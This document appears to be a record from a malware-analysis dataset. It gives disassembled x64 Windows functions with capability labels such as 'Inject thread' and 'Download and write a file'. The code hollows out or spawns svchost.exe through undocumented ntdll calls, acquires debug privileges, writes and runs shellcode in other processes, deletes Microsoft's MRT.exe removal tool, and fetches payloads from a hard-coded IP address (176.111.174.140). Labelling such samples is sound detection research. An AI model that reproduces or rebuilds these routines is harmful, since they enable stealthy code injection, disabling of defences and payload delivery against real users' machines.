joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000159c
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x448]
sub rsp, 0x520
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov esi, edx
mov rdi, rcx
xor r14d, r14d
mov word [rbp + 0x200], r14w
mov ebx, 0x206
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x202]
call fcn.1400110a0
mov word [rbp - 0x10], r14w
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0xe]
call fcn.1400110a0
lea rdx, [rbp - 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x200]
xor r8d, r8d
lea rdx, [0x140029b3c]
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea r8d, [r14 + 4]
lea rdx, [0x140029b30]
lea rcx, [rbp - 0x68]
call fcn.1400020dc
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x68]
call fcn.140001dfc
mov word [rbp - 0x48], r14w
xor eax, eax
mov qword [rbp - 0x46], rax
mov dword [rbp - 0x3e], eax
mov word [rbp - 0x3a], ax
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x48]
call qword [0x140049080]
xor edx, edx
lea r8d, [r14 + 0x28]
lea rcx, [rsp + 0x68]
call fcn.1400110a0
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x78], 0x40
lea rax, [rbp - 0x48]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x20], r14
xor eax, eax
mov qword [rbp - 0x18], rax
or r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x20]
lea r8, [rsp + 0x60]
mov edx, 0xc0110000
lea rcx, [rsp + 0x58]
call qword [0x1400490f8]
test eax, eax
jns 0x140001724
cmp qword [rbp - 0x50], 8
jb 0x1400017c9
mov rcx, qword [rbp - 0x68]
call fcn.14000de08
jmp 0x1400017c9
mov rbx, qword [rsp + 0x58]
cmp qword [rbp - 0x50], 8
jb 0x140001739
mov rcx, qword [rbp - 0x68]
call fcn.14000de08
mov qword [rbp - 0x50], 7
mov qword [rbp - 0x58], r14
mov word [rbp - 0x68], r14w
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400017c9
mov qword [rbp - 0x30], r14
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x70], 1
mov dword [rsp + 0x20], 0xd
lea r9d, [rcx + 1]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [0x140049088]
test eax, eax
js 0x1400017c9
mov qword [rbp - 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rdi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [0x1400490a0]
test eax, eax
jns 0x1400017c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400017c9
mov rax, rbx
jmp 0x1400017cc
mov rax, r15
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x560]
add rsp, 0x520
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400017f4
Capabilities:
Get file size
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
and qword [r11 - 0x28], 0
mov qword [r11 - 0x38], rcx
mov rbx, rcx
lea rcx, [r11 - 0x28]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
call qword [0x1400490d8]
test eax, eax
je 0x14000184a
or rax, 0xffffffffffffffff
jmp 0x1400018c7
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
lea edi, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x1400018a4
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
lea rdx, [0x140029b44]
mov r8d, 8
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub edi, dword [rsp + 0x48]
mov rcx, rbx
cmp edi, 8
ja 0x14000186e
call qword [0x1400490e8]
mov rdx, qword [rsp + 0x40]
or rax, 0xffffffffffffffff
lea rcx, [rdx - 1]
cmp rcx, 0xfffffffffffffffd
cmovbe rax, rdx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1400018e0
Capabilities:
Parse pe header
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r15, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov r14, r9
mov word [rbp], r12w
call fcn.1400110a0
lea rcx, [rbp]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140001935
sub rax, 2
cmp word [rbp + rax*2], 0x5c
je 0x140001958
cmp word [rbp + rax*2], 0x2f
je 0x140001958
dec rax
jmp 0x140001943
lea rcx, [rbp + 2]
lea rcx, [rcx + rax*2]
test rcx, rcx
je 0x140001969
mov word [rcx], r12w
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000dc4c
lea rdi, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x60], r12
cmove rdi, r12
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x140049078], rax
test rax, rax
je 0x140001af3
xor edx, edx
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.1400110a0
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x80]
mov r8, r15
xor edx, edx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], r12d
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x20], r12
call rsi
test eax, eax
je 0x140001af3
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x78]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x28], r12
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x20], r12
call qword [0x1400490b0]
test eax, eax
je 0x140001a8c
cmp eax, 0x40000003
jne 0x140001af3
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x140001af3
test rbx, rbx
je 0x140001aca
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140001aca
cmp dword [rbx + 0x3c], 0x400
jg 0x140001aca
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140001aca
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140001acd
mov al, r12b
test al, al
lea r8, [rsp + 0x60]
mov rcx, rbx
sete r9b
call fcn.140001450
test al, al
je 0x140001af3
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x140001af5
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x320
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140001b18
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x140001ccb
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ccb
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x1400490c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ccb
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140049070], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001ccb
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140049090], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c27
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x1400490b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c27
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x1400490d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c27
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x1400490f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c27
mov qword [0x140049098], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.1400110a0
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_svchost.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
xor edx, edx
mov rcx, rax
lea r8d, [r9 + 2]
mov qword [rsp + 0x28], rdi
mov rbx, rax
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rbx
test rax, rax
jne 0x140001cf3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, [rsp + 0x40]
mov r8, rax
call fcn.1400051c8
mov rsi, rax
test rax, rax
je 0x140001ccb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.14000159c
mov rcx, rax
call fcn.1400017f4
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.1400018e0
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test bl, bl
setne dil
mov eax, edi
jmp 0x140001cce
Function at 0x1400029d4
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor r13d, r13d
mov r12, r8
mov rdi, rdx
mov rsi, rcx
mov ebx, 0x1388
mov r15d, 0x84000000
mov dword [r8], r13d
xor r9d, r9d
lea rcx, [0x140029b70]
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x140002a3f
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002a11
cmp qword [rsi + 0x18], 8
jb 0x140002a4b
mov rdx, qword [rsi]
jmp 0x140002a4e
mov rdx, rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140002aaa
cmp qword [rdi + 0x18], 8
jb 0x140002a7b
mov rdx, qword [rdi]
jmp 0x140002a7e
mov rdx, rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r15d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140002aaa
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002a35
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, rbp
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x38], 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rbp
mov r15, rax
test rax, rax
jne 0x140002b3c
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x140002b18
mov rcx, qword [rsi]
call fcn.14000de08
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x140002b38
mov rcx, qword [rdi]
call fcn.14000de08
xor eax, eax
jmp 0x140002bba
mov r8d, dword [rsp + 0x30]
mov ebx, r13d
mov rdx, rax
jmp 0x140002b63
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140002b72
mov r8d, dword [rsp + 0x30]
add ebx, eax
mov rcx, rbp
mov edx, ebx
sub r8d, ebx
add rdx, r15
lea r9, [rsp + 0x34]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002b49
mov rcx, rbp
mov dword [r12], ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rsi + 0x18], 8
jb 0x140002b97
mov rcx, qword [rsi]
call fcn.14000de08
mov qword [rsi + 0x10], r13
mov ebx, 7
mov qword [rsi + 0x18], rbx
mov word [rsi], r13w
cmp qword [rdi + 0x18], 8
jb 0x140002bb7
mov rcx, qword [rdi]
call fcn.14000de08
mov rax, r15
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], r13
mov word [rdi], r13w
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0xa8]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002bec
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.140010f60
sub rsp, rax
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x1050], rax
and qword [rsp + 0x28], 0
mov rdi, rdx
mov rsi, rcx
lea rdx, str.http:__176.111.174.140_vvTBswN.php
mov ebp, 0x84000000
xor r9d, r9d
mov rcx, rdi
xor r8d, r8d
mov dword [rsp + 0x20], ebp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x140002c7d
and qword [rsp + 0x28], rax
lea rdx, str.https:__176.111.174.140_vvTBswN.php
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x20], ebp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x140002c7d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x140002d34
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rbx
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002cbb
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002c6d
mov ebp, 1
jmp 0x140002cf6
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140002d14
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002d12
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jne 0x140002d12
mov rcx, rbx
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x1000
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002cc2
jmp 0x140002d14
xor ebp, ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebp, ebp
setne al
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002e70
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x98]
sub rsp, 0x190
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov rbx, rcx
and dword [rsp + 0x38], 0
and qword [rsp + 0x20], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x30], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002ee2
and qword [rbx], 0
and qword [rbx + 8], 0
and qword [rbx + 0x10], 0
jmp 0x140002f37
mov dword [rsp + 0x50], 0x130
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002ed2
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.140003358
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002efc
mov rax, qword [rsp + 0x20]
mov qword [rbx], rax
mov rax, qword [rsp + 0x28]
mov qword [rbx + 8], rax
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x10], rax
mov rax, rbx
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x1400031a0
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x20], 0
and dword [rbp - 0x18], 0
xor eax, eax
lea ebx, [rax + 1]
mov edi, r8d
mov r14d, edx
mov rsi, rcx
mov qword [rbp - 0x14], rax
mov dword [rbp - 0xc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x20]
lea edx, [rbx + 0x27]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000323e
lea r8, [rbp - 0x14]
lea rdx, [0x140029b80]
xor ecx, ecx
mov dword [rbp - 0x18], ebx
mov dword [rbp - 0xc], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140003234
and qword [rsp + 0x28], 0
mov rcx, qword [rbp - 0x20]
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x18]
xor r9d, r9d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x14000325a
xor ebx, ebx
jmp 0x140003286
mov r8d, r14d
mov rdx, rsi
mov rcx, rax
call fcn.14000397c
test rax, rax
jne 0x140003271
xor ebx, ebx
jmp 0x14000327d
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140003898
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x14000393b
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x14000393b
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.14000382c
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.14000382c
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.14000382c
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x140003937
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.14000382c
lea rdx, [0x140029bb0]
mov ecx, eax
add rcx, rbx
call fcn.14000e438
test rax, rax
jne 0x140003958
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x14000390d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.14000382c
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.14000382c
jmp 0x14000393d

Function at 0x14000397c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x140003a70
test rdx, rdx
je 0x140003a70
test r8d, r8d
je 0x140003a70
mov rcx, rdx
call fcn.140003898
mov r12d, eax
test eax, eax
je 0x140003a70
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003a70
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003a70
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140003a70
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x140003a79
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003ec4
Capabilities:
Create thread
Delete file
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x190], rax
call fcn.140007774
mov ebx, 0x104
mov edx, ebx
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor esi, esi
test eax, eax
je 0x140003f34
lea r8, str.MRT.exe
mov edx, ebx
lea rcx, [rbp - 0x80]
call fcn.1400104ec
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003d44]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov edi, 7
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea ebx, [rdi + 0x1f]
mov r8d, ebx
lea rdx, str.http:__176.111.174.140_api_update.pack
lea rcx, [rsp + 0x30]
call fcn.1400020dc
nop
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r8d, ebx
lea rdx, str.http:__176.111.174.140_api_update.pack
lea rcx, [rsp + 0x50]
call fcn.1400020dc
nop
lea r8, [0x140049214]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400029d4
mov qword [0x140049218], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea ebx, [rdi + 0x20]
mov r8d, ebx
lea rdx, str.http:__176.111.174.140_api_update2.pack
lea rcx, [rsp + 0x30]
call fcn.1400020dc
nop
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r8d, ebx
lea rdx, str.http:__176.111.174.140_api_update2.pack
lea rcx, [rsp + 0x50]
call fcn.1400020dc
nop
lea r8, [0x140049104]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400029d4
mov qword [0x140049108], rax
call fcn.140007b3c
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003cec]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140003d18]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140003a9c
jmp 0x140004079